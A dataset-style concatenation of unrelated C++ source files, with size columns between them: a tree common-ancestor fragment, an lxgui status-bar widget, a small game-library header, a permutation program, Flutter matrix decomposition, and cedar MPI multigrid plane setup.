return 0;
int thisDepth = 0;
for (Node* node = &a; node; node = parent(node)) {
if (node == b)
return node;
thisDepth++;
}
int otherDepth = 0;
for (const Node* node = &b; node; node = parent(node)) {
if (node == a)
return &a;
otherDepth++;
}
Node* thisIterator = &a;
const Node* otherIterator = &b;
if (thisDepth > otherDepth) {
for (int i = thisDepth; i > otherDepth; --i)
thisIterator = parent(thisIterator);
} else if (otherDepth > thisDepth) {
for (int i = otherDepth; i > thisDepth; --i)
otherIterator = parent(otherIterator);
}
while (thisIterator) {
if (thisIterator == otherIterator)
return thisIterator;
thisIterator = parent(thisIterator);
otherIterator = parent(otherIterator);
}
ASSERT(!otherIterator);
return 0;
}
}
} // namespace
| 5,331 | 1,763 |
#include "lxgui/gui_statusbar.hpp"
#include "lxgui/gui_frame.hpp"
#include "lxgui/gui_manager.hpp"
#include "lxgui/gui_texture.hpp"
#include "lxgui/gui_out.hpp"
#include "lxgui/gui_alive_checker.hpp"
#include "lxgui/gui_uiobject_tpl.hpp"
#include <sstream>
namespace lxgui {
namespace gui
{
std::array<float,4> select_uvs(const std::array<float,8>& uvs)
{
std::array<float,4> u;
u[0] = uvs[0]; u[1] = uvs[1]; u[2] = uvs[4]; u[3] = uvs[5];
return u;
}
status_bar::status_bar(manager* pManager) : frame(pManager)
{
lType_.push_back(CLASS_NAME);
}
std::string status_bar::serialize(const std::string& sTab) const
{
std::ostringstream sStr;
sStr << frame::serialize(sTab);
sStr << sTab << " # Orientation: ";
switch (mOrientation_)
{
case orientation::HORIZONTAL : sStr << "HORIZONTAL"; break;
case orientation::VERTICAL : sStr << "VERTICAL"; break;
}
sStr << "\n";
sStr << sTab << " # Reversed : " << bReversed_ << "\n";
sStr << sTab << " # Value : " << fValue_ << "\n";
sStr << sTab << " # Min value : " << fMinValue_ << "\n";
sStr << sTab << " # Max value : " << fMaxValue_ << "\n";
return sStr.str();
}
bool status_bar::can_use_script(const std::string& sScriptName) const
{
if (frame::can_use_script(sScriptName))
return true;
else if (sScriptName == "OnValueChanged")
return true;
else
return false;
}
void status_bar::copy_from(uiobject* pObj)
{
frame::copy_from(pObj);
status_bar* pStatusBar = down_cast<status_bar>(pObj);
if (!pStatusBar)
return;
this->set_min_value(pStatusBar->get_min_value());
this->set_max_value(pStatusBar->get_max_value());
this->set_value(pStatusBar->get_value());
this->set_bar_draw_layer(pStatusBar->get_bar_draw_layer());
this->set_orientation(pStatusBar->get_orientation());
this->set_reversed(pStatusBar->is_reversed());
texture* pBar = pStatusBar->get_bar_texture();
if (pBar)
{
std::unique_ptr<texture> pBarTexture = this->create_bar_texture_();
if (this->is_virtual())
pBarTexture->set_virtual();
pBarTexture->set_name(pBar->get_name());
if (!pManager_->add_uiobject(pBarTexture.get()))
{
gui::out << gui::warning << "gui::" << lType_.back() << " : "
"Trying to add \""+pBar->get_name()+"\" to \""+sName_+"\", "
"but its name was already taken : \""+pBarTexture->get_name()+"\". Skipped." << std::endl;
}
else
{
if (!is_virtual())
pBarTexture->create_glue();
pBarTexture->copy_from(pBar);
pBarTexture->notify_loaded();
this->set_bar_texture(pBarTexture.get());
this->add_region(std::move(pBarTexture));
}
}
}
void status_bar::set_min_value(float fMin)
{
if (fMin != fMinValue_)
{
fMinValue_ = fMin;
if (fMinValue_ > fMaxValue_) fMinValue_ = fMaxValue_;
fValue_ = fValue_ > fMaxValue_ ? fMaxValue_ : (fValue_ < fMinValue_ ? fMinValue_ : fValue_);
fire_update_bar_texture_();
}
}
void status_bar::set_max_value(float fMax)
{
if (fMax != fMaxValue_)
{
fMaxValue_ = fMax;
if (fMaxValue_ < fMinValue_) fMaxValue_ = fMinValue_;
fValue_ = fValue_ > fMaxValue_ ? fMaxValue_ : (fValue_ < fMinValue_ ? fMinValue_ : fValue_);
fire_update_bar_texture_();
}
}
void status_bar::set_min_max_values(float fMin, float fMax)
{
if (fMin != fMinValue_ || fMax != fMaxValue_)
{
fMinValue_ = std::min(fMin, fMax);
fMaxValue_ = std::max(fMin, fMax);
fValue_ = fValue_ > fMaxValue_ ? fMaxValue_ : (fValue_ < fMinValue_ ? fMinValue_ : fValue_);
fire_update_bar_texture_();
}
}
void status_bar::set_value(float fValue)
{
fValue = fValue > fMaxValue_ ? fMaxValue_ : (fValue < fMinValue_ ? fMinValue_ : fValue);
if (fValue != fValue_)
{
fValue_ = fValue;
fire_update_bar_texture_();
}
}
void status_bar::set_bar_draw_layer(layer_type mBarLayer)
{
mBarLayer_ = mBarLayer;
if (pBarTexture_)
pBarTexture_->set_draw_layer(mBarLayer_);
}
void status_bar::set_bar_draw_layer(const std::string& sBarLayer)
{
if (sBarLayer == "ARTWORK")
mBarLayer_ = layer_type::ARTWORK;
else if (sBarLayer == "BACKGROUND")
mBarLayer_ = layer_type::BACKGROUND;
else if (sBarLayer == "BORDER")
mBarLayer_ = layer_type::BORDER;
else if (sBarLayer == "HIGHLIGHT")
mBarLayer_ = layer_type::HIGHLIGHT;
else if (sBarLayer == "OVERLAY")
mBarLayer_ = layer_type::OVERLAY;
else
{
gui::out << gui::warning << "gui::" << lType_.back() << " : "
"Uknown layer type : \""+sBarLayer+"\". Using \"ARTWORK\"." << std::endl;
mBarLayer_ = layer_type::ARTWORK;
}
if (pBarTexture_)
pBarTexture_->set_draw_layer(mBarLayer_);
}
void status_bar::set_bar_texture(texture* pBarTexture)
{
pBarTexture_ = pBarTexture;
if (!pBarTexture_)
return;
pBarTexture_->clear_all_points();
if (bReversed_)
pBarTexture_->set_point(anchor(pBarTexture_, anchor_point::TOPRIGHT, "$parent", anchor_point::TOPRIGHT));
else
pBarTexture_->set_point(anchor(pBarTexture_, anchor_point::BOTTOMLEFT, "$parent", anchor_point::BOTTOMLEFT));
lInitialTextCoords_ = select_uvs(pBarTexture_->get_tex_coord());
fire_update_bar_texture_();
}
void status_bar::set_bar_color(const color& mBarColor)
{
if (!pBarTexture_)
{
std::unique_ptr<texture> pBarTexture = create_bar_texture_();
pBarTexture->set_name("$parentBarTexture");
if (!pManager_->add_uiobject(pBarTexture.get()))
{
gui::out << gui::warning << "gui::" << lType_.back() << " : "
"Trying to create bar texture for \""+sName_+"\",\n"
"but the name was already taken : \""+pBarTexture->get_name()+"\". Skipped." << std::endl;
return;
}
if (!bVirtual_)
pBarTexture->create_glue();
pBarTexture->notify_loaded();
set_bar_texture(pBarTexture.get());
add_region(std::move(pBarTexture));
}
mBarColor_ = mBarColor;
pBarTexture_->set_color(mBarColor_);
}
void status_bar::set_orientation(orientation mOrient)
{
if (mOrient != mOrientation_)
{
mOrientation_ = mOrient;
fire_update_bar_texture_();
}
}
void status_bar::set_reversed(bool bReversed)
{
if (bReversed == bReversed_)
return;
bReversed_ = bReversed;
if (pBarTexture_)
{
if (bReversed_)
pBarTexture_->set_point(anchor(pBarTexture_, anchor_point::TOPRIGHT, "$parent", anchor_point::TOPRIGHT));
else
pBarTexture_->set_point(anchor(pBarTexture_, anchor_point::BOTTOMLEFT, "$parent", anchor_point::BOTTOMLEFT));
pBarTexture_->notify_borders_need_update();
}
}
float status_bar::get_min_value() const
{
return fMinValue_;
}
float status_bar::get_max_value() const
{
return fMaxValue_;
}
float status_bar::get_value() const
{
return fValue_;
}
layer_type status_bar::get_bar_draw_layer() const
{
return mBarLayer_;
}
texture* status_bar::get_bar_texture() const
{
return pBarTexture_;
}
const color& status_bar::get_bar_color() const
{
return mBarColor_;
}
status_bar::orientation status_bar::get_orientation() const
{
return mOrientation_;
}
bool status_bar::is_reversed() const
{
return bReversed_;
}
std::unique_ptr<texture> status_bar::create_bar_texture_()
{
std::unique_ptr<texture> pBarTexture(new texture(pManager_));
pBarTexture->set_special();
pBarTexture->set_parent(this);
pBarTexture->set_draw_layer(mBarLayer_);
return pBarTexture;
}
void status_bar::create_glue()
{
create_glue_<lua_status_bar>();
}
void status_bar::update(float fDelta)
{
if (bUpdateBarTexture_ && pBarTexture_)
{
float fCoef = (fValue_ - fMinValue_)/(fMaxValue_ - fMinValue_);
if (mOrientation_ == orientation::HORIZONTAL)
{
pBarTexture_->set_rel_width(fCoef);
pBarTexture_->set_rel_height(1.0f);
}
else
{
pBarTexture_->set_rel_width(1.0f);
pBarTexture_->set_rel_height(fCoef);
}
if (!pBarTexture_->get_texture().empty())
{
std::array<float,4> uvs = lInitialTextCoords_;
if (mOrientation_ == orientation::HORIZONTAL)
{
if (bReversed_)
uvs[0] = (uvs[0] - uvs[2])*fCoef + uvs[2];
else
uvs[2] = (uvs[2] - uvs[0])*fCoef + uvs[0];
}
else
{
if (bReversed_)
uvs[3] = (uvs[3] - uvs[1])*fCoef + uvs[1];
else
uvs[1] = (uvs[1] - uvs[3])*fCoef + uvs[3];
}
pBarTexture_->set_tex_coord(uvs);
}
bUpdateBarTexture_ = false;
}
alive_checker mChecker(this);
frame::update(fDelta);
if (!mChecker.is_alive())
return;
}
void status_bar::fire_update_bar_texture_()
{
bUpdateBarTexture_ = true;
}
}
}
| 9,667 | 3,540 |
#ifndef INCLUDE_APG_CORE_APGCOMMON_HPP_
#define INCLUDE_APG_CORE_APGCOMMON_HPP_
#include <memory>
#include <glm/vec2.hpp>
#include <glm/vec4.hpp>
namespace APG {
struct Vertex {
float x;
float y;
float c;
float u;
float v;
};
static constexpr const int VERTEX_SIZE = 5;
namespace internal {
static constexpr const int DEFAULT_SOUND_HANDLE_COUNT = 256;
static constexpr const int DEFAULT_MUSIC_HANDLE_COUNT = 128;
static constexpr const int DEFAULT_FONT_HANDLE_COUNT = 16;
static constexpr const unsigned int MAX_SUPPORTED_TEXTURES = 32;
}
}
#endif
| 564 | 243 |
#include<iostream>
using namespace std;
long long used[100]={0},n,a[100]={0},c[100]={0},i;
string s;
void PL(int k)
{
int i;
if(k>n)
{for(i=1;i<k;i++)cout<<a[i]<<" ";cout<<endl;return;}
for(i=1;i<=n;i++)
{
if(used[i]==0)
{
a[k]=c[i];
used[i]=1;
PL(k+1);
used[i]=a[k]=0;
}
}
}
int main()
{ cin>>s;
n=s.length();
for(i=1;i<=n;i++)c[i]=s[i-1]-'0';
PL(1);
return 0;
} | 454 | 239 |
// Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "flutter/flow/matrix_decomposition.h"
namespace flow {
static inline SkVector3 SkVector3Combine(const SkVector3& a,
float a_scale,
const SkVector3& b,
float b_scale) {
return {
a_scale * a.fX + b_scale * b.fX, //
a_scale * a.fY + b_scale * b.fY, //
a_scale * a.fZ + b_scale * b.fZ, //
};
}
static inline SkVector3 SkVector3Cross(const SkVector3& a, const SkVector3& b) {
return {
(a.fY * b.fZ) - (a.fZ * b.fY), //
(a.fZ * b.fX) - (a.fX * b.fZ), //
(a.fX * b.fY) - (a.fY * b.fX) //
};
}
MatrixDecomposition::MatrixDecomposition(const SkMatrix& matrix)
: MatrixDecomposition(SkMatrix44{matrix}) {}
MatrixDecomposition::MatrixDecomposition(SkMatrix44 matrix) : valid_(false) {
if (matrix.get(3, 3) == 0) {
return;
}
for (int i = 0; i < 4; i++) {
for (int j = 0; j < 4; j++) {
matrix.set(j, i, matrix.get(j, i) / matrix.get(3, 3));
}
}
SkMatrix44 perpective_matrix = matrix;
for (int i = 0; i < 3; i++) {
perpective_matrix.set(3, i, 0.0);
}
perpective_matrix.set(3, 3, 1.0);
if (perpective_matrix.determinant() == 0.0) {
return;
}
if (matrix.get(3, 0) != 0.0 || matrix.get(3, 1) != 0.0 ||
matrix.get(3, 2) != 0.0) {
const SkVector4 right_hand_side(matrix.get(3, 0), matrix.get(3, 1),
matrix.get(3, 2), matrix.get(3, 3));
SkMatrix44 inverted_transposed(
SkMatrix44::Uninitialized_Constructor::kUninitialized_Constructor);
if (!perpective_matrix.invert(&inverted_transposed)) {
return;
}
inverted_transposed.transpose();
perspective_ = inverted_transposed * right_hand_side;
matrix.set(3, 0, 0);
matrix.set(3, 1, 0);
matrix.set(3, 2, 0);
matrix.set(3, 3, 1);
}
translation_ = {matrix.get(0, 3), matrix.get(1, 3), matrix.get(2, 3)};
matrix.set(0, 3, 0.0);
matrix.set(1, 3, 0.0);
matrix.set(2, 3, 0.0);
SkVector3 row[3];
for (int i = 0; i < 3; i++) {
row[i].set(matrix.get(0, i), matrix.get(1, i), matrix.get(2, i));
}
scale_.fX = row[0].length();
row[0].normalize();
shear_.fX = row[0].dot(row[1]);
row[1] = SkVector3Combine(row[1], 1.0, row[0], -shear_.fX);
scale_.fY = row[1].length();
row[1].normalize();
shear_.fX /= scale_.fY;
shear_.fY = row[0].dot(row[2]);
row[2] = SkVector3Combine(row[2], 1.0, row[0], -shear_.fY);
shear_.fZ = row[1].dot(row[2]);
row[2] = SkVector3Combine(row[2], 1.0, row[1], -shear_.fZ);
scale_.fZ = row[2].length();
row[2].normalize();
shear_.fY /= scale_.fZ;
shear_.fZ /= scale_.fZ;
if (row[0].dot(SkVector3Cross(row[1], row[2])) < 0) {
scale_.fX *= -1;
scale_.fY *= -1;
scale_.fZ *= -1;
for (int i = 0; i < 3; i++) {
row[i].fX *= -1;
row[i].fY *= -1;
row[i].fZ *= -1;
}
}
rotation_.set(0.5 * sqrt(fmax(1.0 + row[0].fX - row[1].fY - row[2].fZ, 0.0)),
0.5 * sqrt(fmax(1.0 - row[0].fX + row[1].fY - row[2].fZ, 0.0)),
0.5 * sqrt(fmax(1.0 - row[0].fX - row[1].fY + row[2].fZ, 0.0)),
0.5 * sqrt(fmax(1.0 + row[0].fX + row[1].fY + row[2].fZ, 0.0)));
if (row[2].fY > row[1].fZ) {
rotation_.fData[0] = -rotation_.fData[0];
}
if (row[0].fZ > row[2].fX) {
rotation_.fData[1] = -rotation_.fData[1];
}
if (row[1].fX > row[0].fY) {
rotation_.fData[2] = -rotation_.fData[2];
}
valid_ = true;
}
MatrixDecomposition::~MatrixDecomposition() = default;
bool MatrixDecomposition::IsValid() const {
return valid_;
}
} // namespace flow
| 3,837 | 1,718 |
#include <cedar/3d/mpi/plane_mempool.h>
#include <cedar/3d/mpi/plane_mpi.h>
#include <cedar/3d/mpi/relax_planes.h>
namespace cedar { namespace cdr3 { namespace mpi {
template<relax_dir rdir>
std::shared_ptr<grid_topo> planes<rdir>::slice_topo(const grid_topo & topo3)
{
auto igrd = std::make_shared<std::vector<len_t>>(NBMG_pIGRD);
auto topo2 = std::make_shared<grid_topo>(igrd, 0, 1);
topo2->nproc(2) = 1;
if (rdir == relax_dir::xy) {
MPI_Comm_split(topo3.comm, topo3.coord(2),
topo3.coord(1) * topo3.nproc(0) + topo3.coord(0), &topo2->comm);
for (auto i : range<std::size_t>(2)) {
topo2->nproc(i) = topo3.nproc(i);
topo2->coord(i) = topo3.coord(i);
topo2->is(i) = topo3.is(i);
topo2->nlocal(i) = topo3.nlocal(i);
topo2->nglobal(i) = topo3.nglobal(i);
}
auto & halo_service = this->services->template get<halo_exchange>();
auto & dimx = halo_service.leveldims(0);
auto & dimy = halo_service.leveldims(1);
topo2->dimxfine.resize(topo2->nproc(0));
topo2->dimyfine.resize(topo2->nproc(1));
for (auto i : range<len_t>(topo2->nproc(0))) {
topo2->dimxfine[i] = dimx(i, topo3.level());
}
for (auto j : range<len_t>(topo2->nproc(1))) {
topo2->dimyfine[j] = dimy(j, topo3.level());
}
} else if (rdir == relax_dir::xz) {
MPI_Comm_split(topo3.comm, topo3.coord(1),
topo3.coord(2) * topo3.nproc(0) + topo3.coord(0), &topo2->comm);
for (auto i : range<std::size_t>(2)) {
auto i3 = (i == 0) ? 0 : 2;
topo2->nproc(i) = topo3.nproc(i3);
topo2->coord(i) = topo3.coord(i3);
topo2->is(i) = topo3.is(i3);
topo2->nlocal(i) = topo3.nlocal(i3);
topo2->nglobal(i) = topo3.nglobal(i3);
}
auto & halo_service = this->services->template get<halo_exchange>();
auto & dimx = halo_service.leveldims(0);
auto & dimy = halo_service.leveldims(2);
topo2->dimxfine.resize(topo2->nproc(0));
topo2->dimyfine.resize(topo2->nproc(1));
for (auto i : range<len_t>(topo2->nproc(0))) {
topo2->dimxfine[i] = dimx(i, topo3.level());
}
for (auto j : range<len_t>(topo2->nproc(1))) {
topo2->dimyfine[j] = dimy(j, topo3.level());
}
} else if (rdir == relax_dir::yz) {
MPI_Comm_split(topo3.comm, topo3.coord(0),
topo3.coord(2) * topo3.nproc(1) + topo3.coord(1), &topo2->comm);
for (auto i : range<std::size_t>(2)) {
auto i3 = i + 1;
topo2->nproc(i) = topo3.nproc(i3);
topo2->coord(i) = topo3.coord(i3);
topo2->is(i) = topo3.is(i3);
topo2->nlocal(i) = topo3.nlocal(i3);
topo2->nglobal(i) = topo3.nglobal(i3);
}
auto & halo_service = this->services->template get<halo_exchange>();
auto & dimx = halo_service.leveldims(1);
auto & dimy = halo_service.leveldims(2);
topo2->dimxfine.resize(topo2->nproc(0));
topo2->dimyfine.resize(topo2->nproc(1));
for (auto i : range<len_t>(topo2->nproc(0))) {
topo2->dimxfine[i] = dimx(i, topo3.level());
}
for (auto j : range<len_t>(topo2->nproc(1))) {
topo2->dimyfine[j] = dimy(j, topo3.level());
}
} else {
log::error << "invalid relax_dir for planes" << std::endl;
}
return topo2;
}
template std::shared_ptr<grid_topo> planes<relax_dir::xy>::slice_topo(const grid_topo & topo3);
template std::shared_ptr<grid_topo> planes<relax_dir::yz>::slice_topo(const grid_topo & topo3);
template std::shared_ptr<grid_topo> planes<relax_dir::xz>::slice_topo(const grid_topo & topo3);
template<relax_dir rdir>
template<class sten3, class sten2>
void planes<rdir>::setup_impl(const stencil_op<sten3> & so, std::vector<slv2_ptr<sten2>> & planes,
std::array<plane_ult<sten2>, 2> & threads,
std::array<plane_team, 2> & teams)
{
#ifdef PLANE_AGG
this->aggregate = this->params->plane_agg;
teams[0].threads = threads[0].get_threads();
teams[1].threads = threads[1].get_threads();
#else
this->aggregate = false;
#endif
int nplanes = so.shape(2);
auto rng = so.range(2);
if (rdir == relax_dir::xz) {
rng = so.range(1);
nplanes = so.shape(1);
} else if (rdir == relax_dir::yz) {
rng = so.range(0);
nplanes = so.shape(0);
}
auto kgs = so.grid().is(2);
auto topo2 = slice_topo(so.grid());
auto conf2 = this->params->plane_config;
auto log_planes = conf2->template get<bool>("log-planes", false);
cdr2::mpi::kman_ptr master_kmans[2];
{
auto tmp = log_begin(log_planes, kgs + 1 - 1, relax_dir_name<rdir>::value, topo2->comm);
master_kmans[0] = master_kman(*conf2, (nplanes / 2) + (nplanes % 2), aggregate, teams[0]);
log_end(log_planes, tmp);
tmp = log_begin(log_planes, kgs + 2 - 1, relax_dir_name<rdir>::value, topo2->comm);
master_kmans[1] = master_kman(*conf2, nplanes / 2, aggregate, teams[1]);
log_end(log_planes, tmp);
}
for (auto ipl : rng) {
int i = ipl-1;
cdr2::mpi::kman_ptr kman2;
auto so2_ptr = std::make_unique<cdr2::mpi::stencil_op<sten2>>(topo2);
auto & so2 = *so2_ptr;
plane_util<rdir>::copy_coeff(so, so2, ipl);
timer_pause();
auto tmp = log_begin(log_planes, kgs + ipl - 1, relax_dir_name<rdir>::value, topo2->comm);
if (i < 2)
kman2 = master_kmans[i];
else {
kman2 = worker_kman(*conf2, (i % 2 == 0) ? (nplanes / 2) + (nplanes % 2) : nplanes / 2,
aggregate, teams[i % 2], i / 2);
}
planes.emplace_back(std::make_unique<cdr2::mpi::solver<sten2>>(so2, conf2, kman2));
log_end(log_planes, tmp);
planes.back()->give_op(std::move(so2_ptr));
timer_play();
// setup fine-grid solution and right hand side with contiguous memory across planes
{
service_manager<cdr2::mpi::stypes> & sman = kman2->services();
auto & mpool = sman.get<services::mempool>();
std::size_t nbytes = topo2->nlocal(0) * topo2->nlocal(1) * sizeof(real_t);
real_t *xaddr = (real_t*) mpool.addr(services::mempool::sol, nbytes);
real_t *baddr = (real_t*) mpool.addr(services::mempool::rhs, nbytes);
planes.back()->levels.template get<sten2>(0).x = cdr2::mpi::grid_func(xaddr, topo2);
planes.back()->levels.template get<sten2>(0).b = cdr2::mpi::grid_func(baddr, topo2);
}
#ifdef PLANE_AGG
if (aggregate)
threads[i % 2].add_plane(planes.back().get());
#endif
}
// setup services for solve with ults
#ifdef PLANE_AGG
if (aggregate) {
for (auto ipl : rng) {
int i = ipl - 1;
setup_agg_solve(*planes[i]);
planes[i]->apply_heirs([](cdr2::mpi::solver<cdr2::nine_pt> & child) {
setup_agg_solve(child);
});
}
}
#endif
}
template void planes<relax_dir::xy>::setup_impl<xxvii_pt, cdr2::nine_pt>(const stencil_op<xxvii_pt> & so, std::vector<slv2_ptr<cdr2::nine_pt>> & planes,
std::array<plane_ult<cdr2::nine_pt>, 2> & threads,
std::array<plane_team, 2> & teams);
template void planes<relax_dir::xz>::setup_impl<xxvii_pt, cdr2::nine_pt>(const stencil_op<xxvii_pt> & so, std::vector<slv2_ptr<cdr2::nine_pt>> & planes,
std::array<plane_ult<cdr2::nine_pt>, 2> & threads,
std::array<plane_team, 2> & teams);
template void planes<relax_dir::yz>::setup_impl<xxvii_pt, cdr2::nine_pt>(const stencil_op<xxvii_pt> & so, std::vector<slv2_ptr<cdr2::nine_pt>> & planes,
std::array<plane_ult<cdr2::nine_pt>, 2> & threads,
std::array<plane_team, 2> & teams);
template void planes<relax_dir::xy>::setup_impl<seven_pt, cdr2::five_pt>(const stencil_op<seven_pt> & so, std::vector<slv2_ptr<cdr2::five_pt>> & planes,
std::array<plane_ult<cdr2::five_pt>, 2> & threads,
std::array<plane_team, 2> & teams);
template void planes<relax_dir::xz>::setup_impl<seven_pt, cdr2::five_pt>(const stencil_op<seven_pt> & so, std::vector<slv2_ptr<cdr2::five_pt>> & planes,
std::array<plane_ult<cdr2::five_pt>, 2> & threads,
std::array<plane_team, 2> & teams);
template void planes<relax_dir::yz>::setup_impl<seven_pt, cdr2::five_pt>(const stencil_op<seven_pt> & so, std::vector<slv2_ptr<cdr2::five_pt>> & planes,
std::array<plane_ult<cdr2::five_pt>, 2> & threads,
std::array<plane_team, 2> & teams);
}}}
| 8,608 | 3,756 |